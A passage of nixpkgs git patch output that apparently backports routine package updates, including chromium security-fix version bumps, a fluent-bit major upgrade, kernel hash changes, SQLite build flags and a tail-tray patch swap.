   yaziPlugins = recurseIntoAttrs (callPackage ../by-name/ya/yazi/plugins { });
 
-  animdl = python3Packages.callPackage ../applications/video/animdl { };
-
   dillo = callPackage ../by-name/di/dillo/package.nix {
     fltk = fltk13;
   };

From 73bc182859c529a20592af0279dc72e1020eda95 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 3 Jun 2025 01:37:50 +0200
Subject: [PATCH 0506/4511] chromium,chromedriver: 137.0.7151.55 ->
 137.0.7151.68

https://chromereleases.googleblog.com/2025/06/stable-channel-update-for-desktop.html

This update includes 3 security fixes. Google is aware that an exploit
for CVE-2025-5419 exists in the wild.

CVEs:
CVE-2025-5419 CVE-2025-5068

(cherry picked from commit 17423823a78628824f494c73025e0e8385a69a88)
---
 .../networking/browsers/chromium/info.json    | 20 +++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index f499bdc271af..5a20483448ed 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,10 +1,10 @@
 {
   "chromium": {
-    "version": "137.0.7151.55",
+    "version": "137.0.7151.68",
     "chromedriver": {
-      "version": "137.0.7151.56",
-      "hash_darwin": "sha256-z4GTPrONaXARP0d8vInJdFxR052PuuI6IJy1PEv2RNg=",
-      "hash_darwin_aarch64": "sha256-wlSDfCiBTdLWwabpHwOiM8Y3asn7ueHGSMh2AANaE+A="
+      "version": "137.0.7151.69",
+      "hash_darwin": "sha256-G88jte6xraXrrfEvCj7zndpQ7nxyzappuu4oZ79XY8U=",
+      "hash_darwin_aarch64": "sha256-wbOD/sVjLVcpPzrbAGu8b8YMbUOKkOt7eNxJDLKRjxo="
     },
     "deps": {
       "depot_tools": {
@@ -20,8 +20,8 @@
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "254bc711794d7ad269495f3d419a209935b78cad",
-        "hash": "sha256-dB81lgjgVK0qXWgAddB7G4L7rsJpZp+0VsjDKvGugEs=",
+        "rev": "2989ffee9373ea8b8623bd98b3cb350a8e95cadc",
+        "hash": "sha256-lPmmXVCNUa9of8d52hUejImPSEfOz7v7PlovZS4cfIE=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -241,8 +241,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "a54ed1df191a9e2aff2e9ef453ee6fdc959dd125",
-        "hash": "sha256-E6sx2ioDZRWJljbS17ztRwz+gsDhIHiluvkUx1rRZcw="
+        "rev": "fdc8ca697612f90e7ddf2621dffbc43733d2d238",
+        "hash": "sha256-jKYldgZJwJeTQavmcM9enTdGN8+zt/EG7K1E9wQYIBA="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -791,8 +791,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "44fdd9108308773dd3f4fa040de5f4f75edf671f",
-        "hash": "sha256-BkLOmb97p2NcAIuQiDjIoVAe49h9iv79rC5G8wyD1as="
+        "rev": "e398f9bf6d5c8a768ab736f46146d7349cf31547",
+        "hash": "sha256-cJx8IgUB3UA3jEPvb5aDvHLYmAnHydK1qR11q6Y5PnA="
       }
     }
   },

From 0aba13a1c98d685a398afc54bab352e1c40ca92b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 2 Jun 2025 18:08:33 +0000
Subject: [PATCH 0507/4511] dprint-plugins.dprint-plugin-typescript: 0.95.1 ->
 0.95.5

(cherry picked from commit f8ce8eb61e388566a439519ff7c2f159f01cbdbe)
---
 pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix b/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix
index 63268de79e2b..17c27fd563a6 100644
--- a/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix
+++ b/pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix
@@ -1,7 +1,7 @@
 { mkDprintPlugin }:
 mkDprintPlugin {
   description = "TypeScript/JavaScript code formatter.";
-  hash = "sha256-IHbpEwTATwAmVa/ihGjQzQL/WwWo8owslJtWYUjVF+g=";
+  hash = "sha256-sn10yaYbp6VWspqEMKCd7HbDvKi35AW5Xn8FGzzN3kM=";
   initConfig = {
     configExcludes = [ "**/node_modules" ];
     configKey = "typescript";
@@ -16,6 +16,6 @@ mkDprintPlugin {
   };
   pname = "dprint-plugin-typescript";
   updateUrl = "https://plugins.dprint.dev/dprint/typescript/latest.json";
-  url = "https://plugins.dprint.dev/typescript-0.95.1.wasm";
-  version = "0.95.1";
+  url = "https://plugins.dprint.dev/typescript-0.95.5.wasm";
+  version = "0.95.5";
 }

From 76ad1ea31ea0f0d832b5a9064633b6b65a8f2943 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Thu, 22 May 2025 21:17:31 +0100
Subject: [PATCH 0508/4511] xdg-desktop-portal: 1.20.0 -> 1.20.3

Changes:
- https://github.com/flatpak/xdg-desktop-portal/releases/tag/1.20.1
- https://github.com/flatpak/xdg-desktop-portal/releases/tag/1.20.2
- https://github.com/flatpak/xdg-desktop-portal/releases/tag/1.20.3

(cherry picked from commit 1b2f0d579db076f383e6294f40c7f201dcde1f6c)
---
 pkgs/development/libraries/xdg-desktop-portal/default.nix | 4 ++--
 .../xdg-desktop-portal/fix-icon-validation.patch          | 8 +++-----
 .../xdg-desktop-portal/fix-sound-validation.patch         | 8 +++-----
 .../libraries/xdg-desktop-portal/nix-pkgdatadir-env.patch | 6 ++----
 4 files changed, 10 insertions(+), 16 deletions(-)

diff --git a/pkgs/development/libraries/xdg-desktop-portal/default.nix b/pkgs/development/libraries/xdg-desktop-portal/default.nix
index 96cca8a71268..4313ac5e84fc 100644
--- a/pkgs/development/libraries/xdg-desktop-portal/default.nix
+++ b/pkgs/development/libraries/xdg-desktop-portal/default.nix
@@ -34,7 +34,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "xdg-desktop-portal";
-  version = "1.20.0";
+  version = "1.20.3";
 
   outputs = [
     "out"
@@ -45,7 +45,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "flatpak";
     repo = "xdg-desktop-portal";
     tag = finalAttrs.version;
-    hash = "sha256-FHMa8fTr8qNEM5WptuMjMs/XOsvmFxi8pDaCrwJ3/ww=";
+    hash = "sha256-ntTGEsk8GlXkp3i9RtF+T7jqnNdL2GVbu05d68WVTYc=";
   };
 
   patches = [
diff --git a/pkgs/development/libraries/xdg-desktop-portal/fix-icon-validation.patch b/pkgs/development/libraries/xdg-desktop-portal/fix-icon-validation.patch
index 08b7a3c0b3b0..4511b20dae97 100644
--- a/pkgs/development/libraries/xdg-desktop-portal/fix-icon-validation.patch
+++ b/pkgs/development/libraries/xdg-desktop-portal/fix-icon-validation.patch
@@ -1,5 +1,3 @@
-diff --git a/src/validate-icon.c b/src/validate-icon.c
-index c42265b..320f028 100644
 --- a/src/validate-icon.c
 +++ b/src/validate-icon.c
 @@ -254,7 +254,7 @@ flatpak_get_bwrap (void)
@@ -12,9 +10,9 @@ index c42265b..320f028 100644
    g_autofree char* arg_input_fd = NULL;
    char validate_icon[PATH_MAX + 1];
 @@ -276,8 +276,7 @@ rerun_in_sandbox (int input_fd)
-             "--unshare-ipc",
-             "--unshare-net",
-             "--unshare-pid",
+             "--tmpfs", "/tmp",
+             "--proc", "/proc",
+             "--dev", "/dev",
 -            "--ro-bind", "/usr", "/usr",
 -            "--ro-bind-try", "/etc/ld.so.cache", "/etc/ld.so.cache",
 +            "--ro-bind", "@storeDir@", "@storeDir@",
diff --git a/pkgs/development/libraries/xdg-desktop-portal/fix-sound-validation.patch b/pkgs/development/libraries/xdg-desktop-portal/fix-sound-validation.patch
index bfc6982d2dfd..3c716d96cde7 100644
--- a/pkgs/development/libraries/xdg-desktop-portal/fix-sound-validation.patch
+++ b/pkgs/development/libraries/xdg-desktop-portal/fix-sound-validation.patch
@@ -1,5 +1,3 @@
-diff --git a/src/validate-sound.c b/src/validate-sound.c
-index 7348d46..8b87c78 100644
 --- a/src/validate-sound.c
 +++ b/src/validate-sound.c
 @@ -234,7 +234,7 @@ flatpak_get_bwrap (void)
@@ -12,9 +10,9 @@ index 7348d46..8b87c78 100644
    g_autoptr(GPtrArray) args = g_ptr_array_new_with_free_func (g_free);
    char validate_sound[PATH_MAX + 1];
 @@ -255,8 +255,7 @@ rerun_in_sandbox (int input_fd)
-             "--unshare-ipc",
-             "--unshare-net",
-             "--unshare-pid",
+             "--tmpfs", "/tmp",
+             "--proc", "/proc",
+             "--dev", "/dev",
 -            "--ro-bind", "/usr", "/usr",
 -            "--ro-bind-try", "/etc/ld.so.cache", "/etc/ld.so.cache",
 +            "--ro-bind", "@storeDir@", "@storeDir@",
diff --git a/pkgs/development/libraries/xdg-desktop-portal/nix-pkgdatadir-env.patch b/pkgs/development/libraries/xdg-desktop-portal/nix-pkgdatadir-env.patch
index b7ca73e5afed..369dd2a860f1 100644
--- a/pkgs/development/libraries/xdg-desktop-portal/nix-pkgdatadir-env.patch
+++ b/pkgs/development/libraries/xdg-desktop-portal/nix-pkgdatadir-env.patch
@@ -1,5 +1,3 @@
-diff --git a/src/xdp-portal-impl.c b/src/xdp-portal-impl.c
-index 770c265..a34ca8e 100644
 --- a/src/xdp-portal-impl.c
 +++ b/src/xdp-portal-impl.c
 @@ -277,6 +277,8 @@ load_installed_portals (gboolean opt_verbose)
@@ -8,6 +6,6 @@ index 770c265..a34ca8e 100644
    portal_dir = g_getenv ("XDG_DESKTOP_PORTAL_DIR");
 +  if (portal_dir == NULL)
 +    portal_dir = g_getenv ("NIX_XDG_DESKTOP_PORTAL_DIR");
-   if (portal_dir == NULL)
-     portal_dir = DATADIR "/xdg-desktop-portal/portals";
+   if (portal_dir != NULL)
+     {
  

From 01bc7805f2efd4b6163c1e9fad3f8341528f7640 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 26 May 2025 11:49:45 +0000
Subject: [PATCH 0509/4511] qdiskinfo: 0.3-unstable-2025-05-08 ->
 0.3-unstable-2025-05-22

(cherry picked from commit 4c740d8aa1c0712cf1e897690afd8e3b9d326714)
---
 pkgs/by-name/qd/qdiskinfo/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/qd/qdiskinfo/package.nix b/pkgs/by-name/qd/qdiskinfo/package.nix
index a102d6efe50e..60d1afe2a319 100644
--- a/pkgs/by-name/qd/qdiskinfo/package.nix
+++ b/pkgs/by-name/qd/qdiskinfo/package.nix
@@ -36,13 +36,13 @@ assert
 
 stdenv.mkDerivation {
   pname = "qdiskinfo";
-  version = "0.3-unstable-2025-05-08";
+  version = "0.3-unstable-2025-05-22";
 
   src = fetchFromGitHub {
     owner = "edisionnano";
     repo = "QDiskInfo";
-    rev = "3416cc7ac19b25bb78eab135cf5e0b281e506de0";
-    hash = "sha256-loL6fzOSoZyCmrs7joHQCsCStLGgKxmMuqFmtADWTW0=";
+    rev = "9b7f4fb44e888dde7c9d0e82300d275e8671769d";
+    hash = "sha256-GqHDTEeZ+dEmCeyFehaNKB8af5PN8ZTSKxm00mkqouk=";
   };
 
   nativeBuildInputs = [

From 4782b2fd8e73eebb923abaffda465da0faf3ea6d Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Thu, 29 May 2025 14:26:30 -0600
Subject: [PATCH 0510/4511] qdiskinfo: 0.3-unstable-2025-05-22 -> 0.4

Release notes: https://github.com/edisionnano/QDiskInfo/releases/tag/0.4
Changelog: https://github.com/edisionnano/QDiskInfo/compare/9b7f4fb44e888dde7c9d0e82300d275e8671769d...0.4

(cherry picked from commit 7748b81da2e2e082e5d1461a75321fa7364115a0)
---
 pkgs/by-name/qd/qdiskinfo/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/qd/qdiskinfo/package.nix b/pkgs/by-name/qd/qdiskinfo/package.nix
index 60d1afe2a319..94873c780011 100644
--- a/pkgs/by-name/qd/qdiskinfo/package.nix
+++ b/pkgs/by-name/qd/qdiskinfo/package.nix
@@ -8,7 +8,7 @@
   qt6,
   qdiskinfo,
   themeBundle ? null,
-  unstableGitUpdater,
+  nix-update-script,
 }:
 
 let
@@ -34,15 +34,15 @@ assert
     && themeBundle' ? rightCharacter
   );
 
-stdenv.mkDerivation {
+stdenv.mkDerivation (finalAttrs: {
   pname = "qdiskinfo";
-  version = "0.3-unstable-2025-05-22";
+  version = "0.4";
 
   src = fetchFromGitHub {
     owner = "edisionnano";
     repo = "QDiskInfo";
-    rev = "9b7f4fb44e888dde7c9d0e82300d275e8671769d";
-    hash = "sha256-GqHDTEeZ+dEmCeyFehaNKB8af5PN8ZTSKxm00mkqouk=";
+    tag = finalAttrs.version;
+    hash = "sha256-FufbF0oEqpYgXnfzUZJ3tTN2jJoIQX4UB3yURRV7y00=";
   };
 
   nativeBuildInputs = [
@@ -104,7 +104,7 @@ stdenv.mkDerivation {
         themeName: themeBundle:
         (qdiskinfo.override { inherit themeBundle; }).overrideAttrs { pname = "qdiskinfo-${themeName}"; }
       );
-      updateScript = unstableGitUpdater { };
+      updateScript = nix-update-script { };
     };
 
   meta = {
@@ -118,4 +118,4 @@ stdenv.mkDerivation {
     platforms = lib.platforms.linux;
     mainProgram = "QDiskInfo";
   };
-}
+})

From f1dd86bff82c28193cb5856d5f434a7b5e87e1b7 Mon Sep 17 00:00:00 2001
From: Katherine Jamison <axertheaxe@proton.me>
Date: Fri, 30 May 2025 16:08:46 -0600
Subject: [PATCH 0511/4511] linuxKernel.kernels.linux_zen: 6.14.7-zen1 ->
 6.14.9-zen1

(cherry picked from commit 98da4519c9b8b3775c4d987dadc61ceaceeadfb2)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 79d056d2cf91..7e789bed9399 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -16,9 +16,9 @@ let
   variants = {
     # ./update-zen.py zen
     zen = {
-      version = "6.14.7"; # zen
+      version = "6.14.9"; # zen
       suffix = "zen1"; # zen
-      sha256 = "04vcy71wjs6n1ahnva55i0czayn96w8qq0b0v0qymcq9lrbms2mr"; # zen
+      sha256 = "1v28cdv8dyn5181z242f63ns6b472jx8a7wmw77n5wijj8fv5ba1"; # zen
       isLqx = false;
     };
     # ./update-zen.py lqx

From 6f4cf132d5fcb25ccb2bf9affb95272d361f3e6a Mon Sep 17 00:00:00 2001
From: Katherine Jamison <axertheaxe@proton.me>
Date: Fri, 30 May 2025 16:10:25 -0600
Subject: [PATCH 0512/4511] linuxKernel.kernels.linux_lqx: 6.14.7-lqx1 ->
 6.14.9-lqx1

(cherry picked from commit 4bf93b4e31eb2292f47f13131cd42bbafa589966)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 7e789bed9399..852eacf43829 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -23,9 +23,9 @@ let
     };
     # ./update-zen.py lqx
     lqx = {
-      version = "6.14.7"; # lqx
+      version = "6.14.9"; # lqx
       suffix = "lqx1"; # lqx
-      sha256 = "0in1ymvnac9kic974r5sqkk730fm71d49q0cgzk7lj1ykd9jzxpp"; # lqx
+      sha256 = "1f8sram3xabv119pznpixpm5igyxf33wkg4v8fm5nh9c9g91q19j"; # lqx
       isLqx = true;
     };
   };

From 932668ee1e07d39cafbbe926e2023893a0885dc6 Mon Sep 17 00:00:00 2001
From: Matthias Beyer <mail@beyermatthias.de>
Date: Mon, 2 Jun 2025 11:54:42 +0200
Subject: [PATCH 0513/4511] cargo-insta: 1.42.2 -> 1.43.1

Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
(cherry picked from commit 5d13909b5861537cf7feae00327ed07d8d112635)
---
 pkgs/by-name/ca/cargo-insta/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ca/cargo-insta/package.nix b/pkgs/by-name/ca/cargo-insta/package.nix
index 0f646fa77d63..0cb1c621bf54 100644
--- a/pkgs/by-name/ca/cargo-insta/package.nix
+++ b/pkgs/by-name/ca/cargo-insta/package.nix
@@ -6,17 +6,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "cargo-insta";
-  version = "1.42.2";
+  version = "1.43.1";
 
   src = fetchFromGitHub {
     owner = "mitsuhiko";
     repo = "insta";
-    rev = "e81bae9b7b7f536bd9057158fe5a219facced116";
-    hash = "sha256-5IGp4WuC34wRB7xSiDWzScLvV26yjsdw/LT/7CN9hWc=";
+    rev = version;
+    hash = "sha256-8yFbf0MF5zDuMqG1AsCOvQhJc8D8cBH1WqCGulcXVH0=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-Vx26ArAcsW0NNVNZa4M5hqz/sm1gecrun/bbRWMu07Q=";
+  cargoHash = "sha256-atPSV+dZgywgS+9M0LRtMqH4JP4UpYGjb2hyGAEwhkw=";
 
   checkFlags = [
     # Depends on `rustfmt` and does not matter for packaging.

From 93ba2e0d5512d65c58225b104213edbbf12f3bd9 Mon Sep 17 00:00:00 2001
From: FliegendeWurst <arne.keller@posteo.de>
Date: Sat, 3 May 2025 18:04:32 +0200
Subject: [PATCH 0514/4511] sqlite: enable Geopoly, Math functions and RBU
 extensions

nodejs >= 24 expect these extensions to be available.

Documentation:
https://sqlite.org/rbu.html
https://sqlite.org/geopoly.html
https://www.sqlite.org/lang_mathfunc.html
(cherry picked from commit 54ff5b44d72e712451be217fe068f354a6fe9552)
---
 pkgs/development/libraries/sqlite/default.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/development/libraries/sqlite/default.nix b/pkgs/development/libraries/sqlite/default.nix
index 871a2cf93bd1..4722376372e5 100644
--- a/pkgs/development/libraries/sqlite/default.nix
+++ b/pkgs/development/libraries/sqlite/default.nix
@@ -88,7 +88,10 @@ stdenv.mkDerivation rec {
     "-DSQLITE_ENABLE_FTS3_TOKENIZER"
     "-DSQLITE_ENABLE_FTS4"
     "-DSQLITE_ENABLE_FTS5"
+    "-DSQLITE_ENABLE_GEOPOLY"
+    "-DSQLITE_ENABLE_MATH_FUNCTIONS"
     "-DSQLITE_ENABLE_PREUPDATE_HOOK"
+    "-DSQLITE_ENABLE_RBU"
     "-DSQLITE_ENABLE_RTREE"
     "-DSQLITE_ENABLE_SESSION"
     "-DSQLITE_ENABLE_STMT_SCANSTATUS"

From ffc35f1e7b77ea572d2b3559e5169d63e84fd955 Mon Sep 17 00:00:00 2001
From: Arian van Putten <arian.vanputten@gmail.com>
Date: Thu, 22 May 2025 13:42:27 +0200
Subject: [PATCH 0515/4511] fluent-bit: 3.2.6 -> 4.0.3

fluent-bit now dynamically links against libzstd, sqlite and msgpack

This means that we will not run into the issue that caused us
to roll back from 3.2.9 to 3.2.6 anymore (https://github.com/NixOS/nixpkgs/pull/395128)
as there shouldn't be two incompatible versions of libzstd loaded at the same time.

Fixes https://github.com/fluent/fluent-bit/issues/10139

Is this eligible for back-porting even-though it's a major version bump?  In my
opinion: yes.  We can't keep maintaining 3.x as all the builds after 3.2.6 have
the same issue so we are missing out on critical vulnerability fixes. In the
meantine Non of the following links mention any backwards compatibilities with
3.2.6:

* https://fluentbit.io/announcements/v4.0.0/
* https://fluentbit.io/announcements/v4.0.1/
* https://fluentbit.io/announcements/v4.0.2/
* https://fluentbit.io/announcements/v4.0.3/
* https://docs.fluentbit.io/manual/installation/upgrade-notes/

(cherry picked from commit cd90fbd9ccfa33c615d38c510f0437e17cfa9b6c)
---
 pkgs/by-name/fl/fluent-bit/package.nix | 35 +++++++++-----------------
 1 file changed, 12 insertions(+), 23 deletions(-)

diff --git a/pkgs/by-name/fl/fluent-bit/package.nix b/pkgs/by-name/fl/fluent-bit/package.nix
index 52a06e4cda95..796fd3d9ef78 100644
--- a/pkgs/by-name/fl/fluent-bit/package.nix
+++ b/pkgs/by-name/fl/fluent-bit/package.nix
@@ -1,41 +1,41 @@
 {
   lib,
   stdenv,
+  fetchFromGitHub,
+  nixosTests,
+
   arrow-glib,
   bison,
   c-ares,
   cmake,
-  curl,
-  fetchFromGitHub,
   flex,
   jemalloc,
   libbacktrace,
   libbpf,
-  libnghttp2,
   libpq,
   libyaml,
   luajit,
+  msgpack-c,
+  nghttp2,
   nix-update-script,
-  nixosTests,
   openssl,
   pkg-config,
   rdkafka,
+  sqlite,
   systemd,
   versionCheckHook,
-  zlib,
   zstd,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "fluent-bit";
-  # FIXME: We are deliberately on 3.2.6 as 3.2.7 and above are causing segfaults (https://github.com/fluent/fluent-bit/issues/10139)
-  version = "3.2.6";
+  version = "4.0.3";
 
   src = fetchFromGitHub {
     owner = "fluent";
     repo = "fluent-bit";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-S0sb954n17z+zrVNkYd6yiV01aNbOLJLOV+34PRkSXQ=";
+    hash = "sha256-hxlvidzrEE/5xzka414CerGQ/Vi2jXUnNvO/oSxrHQQ=";
   };
 
   # The source build documentation covers some dependencies and CMake options.
@@ -49,15 +49,7 @@ stdenv.mkDerivation (finalAttrs: {
   # Fortunately, there's the undocumented `FLB_PREFER_SYSTEM_LIBS` CMake option to link against system libraries for
   # some dependencies.
   #
-  # See https://github.com/fluent/fluent-bit/blob/v3.2.6/CMakeLists.txt#L211-L218.
-  #
-  # Like `FLB_PREFER_SYSTEM_LIBS`, several CMake options aren't documented.
-  #
-  # See https://github.com/fluent/fluent-bit/blob/v3.2.6/CMakeLists.txt#L111-L157.
-  #
-  # The CMake options may differ across target platforms. We'll stick to the minimum.
-  #
-  # See https://github.com/fluent/fluent-bit/tree/v3.2.6/packaging/distros.
+  # https://github.com/fluent/fluent-bit/blob/v4.0.2/CMakeLists.txt#L245
 
   strictDeps = true;
 
@@ -72,19 +64,16 @@ stdenv.mkDerivation (finalAttrs: {
     [
       arrow-glib
       c-ares
-      # Needed by rdkafka.
-      curl
       jemalloc
       libbacktrace
-      libnghttp2
       libpq
       libyaml
       luajit
+      msgpack-c
+      nghttp2.dev
       openssl
       rdkafka
-      # Needed by rdkafka.
-      zlib
-      # Needed by rdkafka.
+      sqlite.dev
       zstd
     ]
     ++ lib.optionals stdenv.hostPlatform.isLinux [

From 0124e5d8edf7835e73d0046cf633de054c45b835 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Sun, 9 Mar 2025 19:59:12 +0100
Subject: [PATCH 0516/4511] doc/rust: pass cargoRoot to fetcher in example

(cherry picked from commit 8e876759944795a410b39455d5c79b19b697d0e9)
---
 doc/languages-frameworks/rust.section.md | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/doc/languages-frameworks/rust.section.md b/doc/languages-frameworks/rust.section.md
index 5078de14d80f..39a24856cd31 100644
--- a/doc/languages-frameworks/rust.section.md
+++ b/doc/languages-frameworks/rust.section.md
@@ -605,8 +605,8 @@ In some projects, the Rust crate is not in the main Python source
 directory.  In such cases, the `cargoRoot` attribute can be used to
 specify the crate's directory relative to `sourceRoot`. In the
 following example, the crate is in `src/rust`, as specified in the
-`cargoRoot` attribute. Note that we also need to specify the correct
-path for `fetchCargoVendor`.
+`cargoRoot` attribute. Note that we also need to pass in `cargoRoot`
+to `fetchCargoVendor`.
 
 ```nix
 {
@@ -627,8 +627,12 @@ buildPythonPackage rec {
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
-    inherit pname version src;
-    sourceRoot = "${pname}-${version}/${cargoRoot}";
+    inherit
+      pname
+      version
+      src
+      cargoRoot
+      ;
     hash = "sha256-ctUt8maCjnGddKPf+Ii++wKsAXA1h+JM6zKQNXXwJqQ=";
   };
 

From 9322c774935b64ddd8199c5b29986df1340ecfb3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Mon, 2 Jun 2025 20:05:08 -0700
Subject: [PATCH 0517/4511] tail-tray: 0.2.22 -> 0.2.23

Diff: https://github.com/SneWs/tail-tray/compare/refs/tags/v0.2.22...refs/tags/v0.2.23

Changelog: https://github.com/SneWs/tail-tray/releases/tag/v0.2.23
(cherry picked from commit 4e5773eeda27bc5eb25282693473940738a8525e)
---
 pkgs/by-name/ta/tail-tray/desktop.patch | 16 ----------------
 pkgs/by-name/ta/tail-tray/package.nix   | 20 +++++++++++++-------
 2 files changed, 13 insertions(+), 23 deletions(-)
 delete mode 100644 pkgs/by-name/ta/tail-tray/desktop.patch

diff --git a/pkgs/by-name/ta/tail-tray/desktop.patch b/pkgs/by-name/ta/tail-tray/desktop.patch
deleted file mode 100644
index 56162f2f4c01..000000000000
--- a/pkgs/by-name/ta/tail-tray/desktop.patch
+++ /dev/null
@@ -1,16 +0,0 @@
-diff --git a/tail-tray.desktop.in b/tail-tray.desktop.in
-index 2d1c7be..5e859ae 100644
---- a/tail-tray.desktop.in
-+++ b/tail-tray.desktop.in
-@@ -2,8 +2,8 @@
- Name=Tail Tray
- GenericName=Tail Tray
- Comment=Tailscale Tray Application
--Exec=@CMAKE_INSTALL_PREFIX@/@CMAKE_INSTALL_BINDIR@/tail-tray
--Icon=@CMAKE_INSTALL_PREFIX@/@CMAKE_INSTALL_DATAROOTDIR@/icons/hicolor/128x128/apps/tailscale.png
-+Exec=@CMAKE_INSTALL_PREFIX@/bin/tail-tray
-+Icon=@CMAKE_INSTALL_PREFIX@/share/icons/hicolor/128x128/apps/tailscale.png
- Type=Application
- Categories=Qt;KDE;Utility;X-Networking;X-Internet;X-VPN;
- StartupNotify=true
-
diff --git a/pkgs/by-name/ta/tail-tray/package.nix b/pkgs/by-name/ta/tail-tray/package.nix
index e91844da2856..883285623381 100644
--- a/pkgs/by-name/ta/tail-tray/package.nix
+++ b/pkgs/by-name/ta/tail-tray/package.nix
@@ -1,6 +1,7 @@
 {
   lib,
   fetchFromGitHub,
+  fetchpatch,
   davfs2,
   cmake,
   extra-cmake-modules,
@@ -11,15 +12,24 @@
 
 stdenv.mkDerivation rec {
   pname = "tail-tray";
-  version = "0.2.22";
+  version = "0.2.23";
 
   src = fetchFromGitHub {
     owner = "SneWs";
     repo = "tail-tray";
     tag = "v${version}";
-    sha256 = "sha256-1tYuZBJFIGwub3wJR/Ms1Dybhn3KMzKYrpgzZEXwqWU=";
+    hash = "sha256-fnr7EheVG3G4oLAe9liAy5qCDED/7eL0mUiE0qXsco4=";
   };
 
+  patches = [
+    # https://github.com/SneWs/tail-tray/pull/82
+    (fetchpatch {
+      name = "dont-use-absoulte-paths-in-desktop-file.patch";
+      url = "https://github.com/SneWs/tail-tray/commit/08aa4a4e061f21c2dcd07c94249f2eb15c4e4416.patch";
+      hash = "sha256-6YOJes40e2rgVabYns55M5h1FGyFG+gjSewCaXesT8U=";
+    })
+  ];
+
   nativeBuildInputs = with kdePackages; [
     wrapQtAppsHook
     qttools
@@ -39,14 +49,10 @@ stdenv.mkDerivation rec {
     "-DDAVFS_ENABLED=ON"
   ];
 
-  patches = [
-    ./desktop.patch
-  ];
-
   meta = {
     description = "Tray icon to manage Tailscale";
     homepage = "https://github.com/SneWs/tail-tray";
-    changelog = "https://github.com/SneWs/tail-tray/releases/tag/${version}";
+    changelog = "https://github.com/SneWs/tail-tray/releases/tag/${src.tag}";
     mainProgram = "tail-tray";
     license = lib.licenses.gpl3Only;
     maintainers = with lib.maintainers; [ Svenum ];

From d4f5144ae3575c7b1d38d7b772bbb21405d3751d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 3 Jun 2025 04:43:51 +0000
Subject: [PATCH 0518/4511] thunderbird-esr-bin-unwrapped: 128.10.2esr ->
 128.11.0esr

(cherry picked from commit 8db639d97af5baa0f48ef9d592b3a4eae868c007)
---
 .../thunderbird-bin/release_esr_sources.nix   | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
index e879a9482ab6..7758d6a5d882 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "128.10.2esr";
+  version = "128.11.0esr";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/linux-x86_64/af/thunderbird-128.10.2esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/af/thunderbird-128.11.0esr.tar.bz2";
